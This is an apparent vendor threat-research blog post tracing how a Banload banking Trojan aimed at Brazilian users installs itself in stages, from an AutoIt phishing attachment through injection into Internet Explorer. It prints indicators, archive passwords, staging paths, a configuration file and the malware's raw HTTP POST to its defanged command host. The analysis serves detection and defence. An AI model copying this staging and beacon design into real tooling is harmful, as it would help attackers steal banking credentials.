As previously discussed by Unit 42, banking Trojans have been targeting Brazilian systems for years given the popularity of online banking services in the country. Recently, we analyzed a handful of samples targeting Brazilian systems that exhibited a unique and complex multi-stage loading process. Antivirus detection names for this malware typically are detected as generic named families or “Banload”.

In this blog post, I’ll share details of the complexity of this Trojan’s installation process, which involves a series of archive downloads, process injections and executable installations, all orchestrated by an encrypted AutoIt script.

Please Note: This blog focuses specifically on the complexities of a malware infection process, but not on the impact of the malware or it’s other functionalities.

For those looking for a higher-level look at some of our recent research, please enjoy one of these options:

Execution Analysis

While this analysis represents a group of malware, the walkthrough represents the behavior of the virus 090538f7bea4ffe4c5f3f5e787ea7f9d13eff99e691113453f25db65ed06ffeb. The overall behavior of the family of malware appears to be configurable, so other variants in the same family will result in different execution paths.

While many malware families use multi-stage installation processes, this Banload variant is especially complex, as shown in the diagram below.

Figure 1: Banload AutoIt installation process

The installation begins with a single AutoIT executable file that was attached to phishing emails using subject line “Seu Pedido foi enviado pelo vendedor.”

By decompiling the AutoIT script, we can see the obfuscated source code and encrypted strings of the program.

Decrypting these strings allows us to read the full source of the script. First, the script creates a GET request to the following URL:

Next, the script downloads four files from http://compra-da-sorte[.]com. The first, named 7za.7z, is a copy of the command line 7zip utility. The other three, named Ptl.7z, Bag.7z and Hunter.7z, are password protected zip files.

Ptl.7z is moved to a randomly named folder under the primary disk. In this case, C:\choicefycm\xfmhahxn. The file is then unzipped using the 7za.7z executable with the password “102030as”. Ptl.7z contains a CPL file (common for Banload) and the CPL resides in the same randomly named folder.

Hunter.7z is a zip archive protect with the password “405060” that contains five files.

11111111132.exe

22222222264.cfg

22222222264.exe

Bypass.exe

Fake.exe

These files are not part of the initial execution process of this sample, although the password used to unzip them is later used. They appear to be utilities the malware installs for future use by the attacker.

As shown from the AutoFocus analysis screenshot below, Bag.7z is named randomly and placed into a folder called %APP_DATA%\microsoft\windows\templates. Bag.7z is then unzipped with the following command:

Bag.7z contains four password protected 7zip files with fake PDF extensions. The names of the extracted files are Access.pdf, Boot.pdf, BootMemori.pdf, and look.pdf. The script finally drops a clean-up bat script to delete itself and executes the CPL file.

Once the AutoIT script writes all necessary files to their correct locations, executes the CPL file, and deletes itself, control is passed to the CPL file. The CPL file first attempts to located the fake PDF files previously written to disk. If found, the CPL unzips the fake PDF documents with the password “405060”. The purpose of the binary contents of Access.pdf, look.pdf, and Boot.pdf are unknown. However, BootMemori.pdf is unzipped and the executable file inside is placed in %APP_DATA%\microsoft\windows\templates with a random filename frequently beginning with “Bt”. The CPL file writes a file named ProcInfXP to the user’s temp folder. That file’s contents (annotated) are below:

Eventually, the fake PDF files are replaced with files named puk1, puk2, puk3 and puk4. The CPL then injects an MZP executable compiled September 2015 into a suspended IExplore.

Finally, the CPL writes a file named ProcMen to %APP_DATA%\microsoft\windows\templates. The contents of which include:

1

2

3

4

5

6

7

8

9

[Process]

puk1=1324

puk3=1548

puk4=1808

puk2=1108

[602A5F72345A5B3A57225F442C]

63415C223A455E6F765=17040244

[NomeCPL]

0=Bt.exe

The values of the puk* keys correspond to IExplore.exe processes which the CPL started. The Bt.exe value corresponds to the executable contained in BootMemori.pdf, and the final key/value’s purpose is unknown. A second clean-up bat file is written which deletes the CPL file.

At this point multiple Internet Explorer processes are running in the background of the system and the CPL file exits. One of which reads in the ProcInfXP configuration file in the user’s temp directory and unzips the BootMemori.pdf file in the Templates directory and renames it to the Bt.exe name. An IExplore process then sends an HTTP POST request using an odd user-agent string.

1

2

3

4

5

6

7

POST/Avisosorte/contador.php HTTP/1.1

Content-Type:application/x-www-form-urlencoded

Content-Length:11

Accept:/

User-Agent:Mozilla/4.0(compatible;Win32;WinHttp.WinHttpRequest.5)

Host:vemsorte2015[.]com[.]br

Connection:Keep-Alive

Eventually, a DLL named procc.dll is written to the %APP_DATA%\microsoft\windows\templates directory. Observed hashes for this DLL include f9dd2f2f3b8a484aee5f73ac5e180d637fe6f4f55dbcf2b24411766741bf43e2 (compiled May 19, 2015) and c6efcf4a90def5a9b48287f77a2eb3a6285bf5b7f953e622219bfb2164461aef (compiled August 3, 2015). Both of which are written in Delphi and include 4 export functions:

DllGetClassObject

DllCanUnloadNow

DllRegisterServer

DllUnregisterServer

Both files also share interesting strings which overlap in naming conventions of previously analyzed files.

Distribution and Prevention

The installation process for this malware variant, with multiple stages handing execution control to each other, cleaning up after themselves, and using configuration files, is rather complex. Because of the volume of samples, as well as configurations we have detected across our customer base, it is very likely these samples were created through an automated building system.

The majority of Banload samples we have recently identified were sent from hosts located in Germany to hosts located in Brazil using Portuguese language e-mail subjects related to invoices and bank transfers. The images below show the source and destination distributions in the AutoFocus interface.

Conclusion

Due to the modularity of the process and the use of encryption and passwords, statically inspecting individual components of this process may lead to benign verdicts and false negatives. Only when all pieces are in place will the process lead to malicious activity. As Palo Alto Networks WildFire is a fully dynamic execution system these types of contextual detections are possible. AutoFocus users can identify and explore samples of the malware family using the Banload tag.